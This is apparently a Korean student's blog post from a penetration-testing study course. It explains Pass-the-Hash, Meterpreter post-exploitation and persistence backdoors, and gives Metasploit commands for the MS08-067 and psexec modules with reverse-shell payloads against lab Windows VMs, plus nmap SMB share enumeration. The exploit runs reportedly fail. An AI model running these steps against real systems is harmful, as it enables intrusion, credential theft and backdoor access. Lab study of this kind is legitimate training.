Hoin's security

[5주차] 모의해킹-취약점을 사용하지 않고 해킹, 후속 공격(Post Exploitation) 본문

스터디/모의해킹

[5주차] 모의해킹-취약점을 사용하지 않고 해킹, 후속 공격(Post Exploitation)

Hoin.s 2023. 11. 8. 01:31

4-1 취약점을 사용하지 않고 해킹하기

1. pass the Hash(패스더해시)란?

: Password에 대한 hash값을 사용하는 환경(NTLM/LM 인증 프로토콜을 사용하는 환경)에서, 획득한 hash 값을 사용하여 인증을 통과하는 공격 (사용자의 실제 Password는 몰라도 됨)

1) Mechanism

  • NTLM/LM 인증을 사용하는 서버/서비스는 해시로 암호를 제공
  • cleartext 암호는 원격 서버를 전송하기전에 해시로 전환
  • 인증을 완료하는데에 Cleartext 암호는 필요하지 않음
  • 기능적으로 해시는 원래 암호와 동일

→ Complete network 인증올 완료하는데에는 hash만 있으면 된다.

2) Pass-the-Hash 공격 과정

  1. 시스템에 침투
  2. 시스템의 보호된 자원에 접근할 수 있는 권한 획득
  3. 메모리 상에 있는 Password Hash값 수집
  4. 새로운 logon session을 생성하여 획득한 hash 값으로 접속

→ LM/NTLM 인증 프로토콜을 사용하는 Network의 특정 시스템에 침투한 후에는, Network에 연결된 다른 시스템에 속한 모든 시스템에도 침투할 수 있다.(보통 사용자는 Password를 플랫폼마다 바꾸지 않음)

우리는 'Pass the Hash' 공격을 하기위해 다음과 같은 모듈을 사용할 것이다.

  • Metasploit PsExec

→ PSExec 모듈은 암호학적 개인정보를 이미 알고있는 특정 시스템에 대한 접근을 얻기 위해 침투테스터에 의해 사용된다.

  • Metasploit PsExec를 사용하기 위해 필요한 것
  • 타겟 IP
  • 타겟 시스템의 username
  • Password Hash(or Password)
  • Administractive Shares

우리는 가상환경에 설치한 winXP, windows 8 에 대한 대다수의 정보 가지고 있다. win xp와 windows 8을 PsExec 모듈을 사용하여 해킹할 것이다.

그렇다면 가장 중요한 Hash 암호는 어떻게 모을 것인가?
→ 미터프리터를 사용한다!

2. Meterpreter

winXP의 해쉬 암호를 모을 때 우리는 'Meterpreter' 라는 Payload의 모음을 사용할 것이다. (미터프리터 내장기능에 pass the hash 공격이 포함되어있다.)

1) 미터프리터란?

: Metasploit Framework에 포함되어 있는 Payload 중의 하나로, 특별한 기능을 제공한다. Metasploit의 기능을 활용해 대상 시스템을 손상시킬 수 있는 프레임워크의 확장기능이다.

2) 미터프리터의 특징

  • 다양한 후속 공격을 지원, 인메모리 DLL injection stager을 사용
  • 디스크를 건드리지 않음

→ 프로세스 인젝션 시 새로운 프로세스 생성하지 않음, 기존에 있는 프로세스에서 실행

  • reflective DLL injection 을 사용
  • 내장 기능에는 권한 상승, Pass the Hash, 이벤트 로그, 인코그니토, 원격 데스크톱 접근, 패킷 스니핑, 피버팅 등이 있다.

→ 이외에 더 많은 모듈들은 help 명령어를 통해 확인 할 수 있다.

1) Pass the Hash 실습 (Windows XP)

Pass-the-Hash 공격 실습(WinXP, Windows 8)

1) 네트워크 점검

본격적으로 해킹에 들어가기 전에 네트워크 점검부터 해보자

windows 8 과 kali Linux 커맨드 창을 열어 각각의 네트워크 상태(ping test)를 점검한다.

  • windows 8(win xp)에는 kali Linux IP 입력
Copy~# ping [kali Linux IP]

 

  • kali Linux에 windows 8 IP 입력
root@kali:~# ping [windows 8 IP]  

windows 8에서 처럼 손실없이 모두 응답이 도착했는지 확인한다.

nmap query

Copyroot@kali:~# nmap [window 8 IP]

 

[ port | state | service ]를 통해 sharing과 원격접속에 필요한 포트들이 열린것을 확인할 수 있다.

본격적으로 해킹에 들어가보자

우리는 이미 취약점 분석에서 windows XP 우리 네트워크에서 MS08-067이라는 취약점을 가지고 있다는 것을 확인했다. 그래서 이 시스템을 해킹하고 password hash를 모아보자.

2) Windows XP 에서 패스워드 수집

먼저 칼리리눅스의 커맨드 창을 열고 루트계정으로 진입한 다음 metasploit을 실행시키자

root@kali ~# msfconsole

 

우리는 이미 2일차에 했던 nessus 취약점 분석을 통해 윈도우xp가 ms08-067 취약점을 가지고 있다는 것을 이미 알고있다.

msf5 > search ms08-067

search 명령어를 통해 알아낸 모듈을 use 명령어로 사용한다.

Copymsf5 > use exploit/windows/smb/ms08_067_netapi
> set payload windows/meterpreter/reverse_tcp_allports
> show options

meterpreter 실행 후, 옵션창을 켜서 현재 세팅을 확인한다.

required에 'yes' 라고 적혀있지만 'current settings'에 세팅이 되어있지 않고 비어있는 것들을 설정해주어야한다.

RHOST(공격할 대상의 IP = WinXP의 IP) LHOST(Local HOST = kali의 IP) 를 설정해주자

Copy> set RHOST [공격할 대상의 IP]
> set LHOST [Local Host IP]

모든 설정을 완료 했으면 실행시킨다.

Copy> run

타겟이 맞지 않다는 오류가 생겼다... 왜지 ...? 분명 앞서 ip주소 다 확인 했는데.. 일단 진행해본다.

2) Pass the Hash 실습 (Windows 8.1)

3) Windows XP에서 얻은 hash를 이용하여 Windows 8.1 해킹

이번에는 앞에서 얻은 hash값을 이용하여 windows 8 에 접근해보고 hashdump를 사용해보자
※ windows XP와 windows 8은 같은 네트워크를 공유하고 있기 때문에 이러한 방법이 가능하다. 단, 가능성이 있을 뿐 실패할 수도 있으니 실망하지 말자.

nmap을 이용하여 공격을 시도하려는 시스템의 네트워크 상황을 스캔한다.

root@kali:~# nmap [공격대상의 IP]

445 포트가 열려있는 것을 확인

*445포트는 SMB파일을 공유하는데에 사용 됨

중요한 것은 타겟 시스템에 최소 하나의 파일공유가 있어야 한다. 일반적으로 관리자 폴더들이 공유된다. 그러나 확신할 수 없으니 새로운 타겟의 파일 공유를 찾아보자. 다시 nmap을 이용할 것이다.

root@kali: ~# nmap [공격대상의 IP] --script smb-enum-shares.nse

이제 msfconsole interface로 돌아가서 PsExec 모듈(사용할 모듈) 검색

msf5 exploit(windows/smb/ms08_067_netapi) > search psexec

 

어라 unknown...?

모듈 검색이 안된다...

 

우리는 모듈 #10을 사용하고 payload를 설정해준다.

Copymsf5 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > show options

4-2 후속 공격(Post Exploitation) 이란?

Post-Exploitation

1. 후속 공격(Post-Exploitation)이란?

: 세션이 오픈된 후 일어나는 모든 행동을 일컫는다.

→ exploit을 하고 난 후 정보를 계속해서 모으는 것은 매우 중요하다. 이런 정보들이 다른 시스템을 공격할 때 도움을 줄 수도 있기 때문이다.

시스템을 해킹하고 난 후 해야하는 행동

  1. Persistence ( 시스템에 지속적인 접근 유지)
  2. Username과 Password Hashes 를 모은다
  3. Password Cracking
  4. 중요한 data 수집

따라서 exploit에 성공한 system에 지속적인 접근을 유지하는 것은 매우 중요하다.

4-3 Backdoor 실습

Persistence

: meterpreter는 Persistence를 이용하여 시스템에 Backdoor를 남기고 지속적으로 드나들 수 있는 통로를 만들 수 있다.

 

1) Run Persistence

실습 1) Run Persistence

공격할 대상(WinXP), 로컬(Kali) IP를 확인한다.

Kali 에서 CMD 창을 연 후, root 계정으로 진입한다.

msfconsole을 실행한다.

root@kali:~# msfconsole

공격할 대상인 winXP에 취약점 ms08-067을 이용하자

익스플로잇과 페이로드 설정 후 show options 명령어를 통해 필요한 정보 확인

msf > search ms08-067
msf > use exploit windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(windows/smb/ms08_067_netapi) > show options

윈도우 xp오류로 실행이 되지 않아 추후 실습 후 추가해놓겠다..(iso파일도 정상적,, 가상머신에서도 실행은 잘됨,, 그러나 실행만 됨.)

'스터디 > 모의해킹' 카테고리의 다른 글

[6주차] 패스워드 크래킹  (0) 2023.11.15
[6주차] Meterpreter Extensions  (0) 2023.11.15
[4주차] 모의해킹 실습  (1) 2023.11.01
[3주차] 모의해킹 스터디 정리  (0) 2023.10.04
[2주차] 모의해킹 스터디  (0) 2023.09.27